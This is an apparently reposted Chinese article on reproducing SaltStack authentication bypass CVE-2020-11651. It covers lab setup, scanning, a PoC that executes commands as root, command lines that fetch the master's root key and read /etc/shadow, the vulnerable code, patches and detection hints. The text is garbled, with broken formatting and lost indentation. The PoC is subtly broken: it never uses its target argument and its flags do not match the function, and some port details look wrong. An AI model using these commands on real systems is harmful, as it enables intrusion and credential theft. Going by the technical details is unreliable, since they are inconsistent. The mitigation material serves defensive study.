# SaltStack認證繞過漏洞CVE-2020-11651復現的示例分析
## 一、漏洞概述
### 1.1 背景介紹
SaltStack(簡稱Salt)是一款開源的自動化運維工具,采用Python語言開發,廣泛應用于配置管理、批量任務執行和基礎設施即代碼(IaC)場景。其采用C/S架構,通過ZeroMQ消息隊列進行通信。
### 1.2 漏洞基本信息
- **CVE編號**:CVE-2020-11651
- **漏洞類型**:認證繞過→遠程代碼執行
- **影響版本**:
- SaltStack 2019.2.0 - 2019.2.4
- SaltStack 3000 - 3000.2
- **CVSS評分**:9.8(Critical)
- **漏洞發現者**:F-Secure實驗室團隊
### 1.3 漏洞原理
該漏洞源于Salt Master服務對請求驗證機制的缺陷:
1. **ClearFuncs類缺陷**:未正確驗證`_prep_auth_info()`方法的調用權限
2. **WSGI接口暴露**:`/run`和`/events`端點未實施有效鑒權
3. **敏感方法調用**:攻擊者可調用`wheel_async`、`runner`等高危方法
## 二、環境搭建
### 2.1 實驗環境要求
```bash
# 靶機環境(Salt Master)
操作系統:Ubuntu 18.04 LTS
軟件版本:SaltStack 3000.1
Python版本:3.6.9
# 攻擊機環境
操作系統:Kali Linux 2020.1
工具依賴:Python 3.7+, salt, msgpack
# 在Ubuntu上安裝存在漏洞的版本
sudo apt-get update
curl -L https://bootstrap.saltstack.com -o install_salt.sh
sudo sh install_salt.sh -P -M -x python3 stable 3000.1
# 驗證安裝
sudo salt-master --version
使用nmap掃描目標服務:
nmap -sV -p 4505,4506 <target_ip>
典型輸出:
4505/tcp open zmq SaltStack Master
4506/tcp open zmq SaltStack Publisher
使用公開的PoC腳本(示例):
import salt
import salt.version
from salt.transport.client import ReqChannel
def exploit(target):
channel = ReqChannel.factory(
{'sock_dir': '/var/run/salt/master',
'transport': 'zeromq'},
crypt='clear')
# 構造惡意請求
payload = {
'cmd': 'runner',
'fun': 'salt.cmd',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': 'import os; os.system("id > /tmp/pwned")'
}
}
channel.send(payload)
python3 exploit.py --target 192.168.1.100 --port 4506 get_root_key
python3 exploit.py --target 192.168.1.100 --cmd "rm -f /tmp/backdoor"
python3 exploit.py --file /etc/shadow
檢查目標服務器:
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
sequenceDiagram
Attacker->>Salt Master: 發送未授權請求
Salt Master->>ClearFuncs: 調用_prep_auth_info()
ClearFuncs-->>Attacker: 返回敏感信息
Attacker->>Wheel模塊: 調用wheel_async()
Wheel模塊->>System: 執行root命令
漏洞位于salt/master.py
:
class ClearFuncs(object):
def _prep_auth_info(self):
# 缺失權限驗證
return {
'token': self.salt_token,
'aes': self.aes_funcs,
'pub': self.pub_key
}
升級到以下版本: - SaltStack 2019.2.5 - SaltStack 3000.3
補丁主要修改:
1. 增加@need_authentication
裝飾器
2. 限制/run
端點的訪問
3. 強化消息驗證機制
# 禁用外部訪問
iptables -A INPUT -p tcp --dport 4505:4506 -j DROP
# 啟用ACL限制
vim /etc/salt/master
添加配置:
client_acl:
admin:
- .*
- '@wheel'
- '@runner'
網絡層:
主機層:
架構層:
關鍵日志位置:
/var/log/salt/master
異常特征:
- 來自非信任IP的/run
請求
- 異常的wheel_async
調用
- 短時間內大量認證失敗
相關漏洞: - CVE-2020-11652(目錄遍歷) - CVE-2021-25281(模板注入) - CVE-2022-22934(認證繞過)
”`
注:本文為技術研究用途,實際利用需獲得合法授權。所有PoC代碼需在隔離環境測試。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。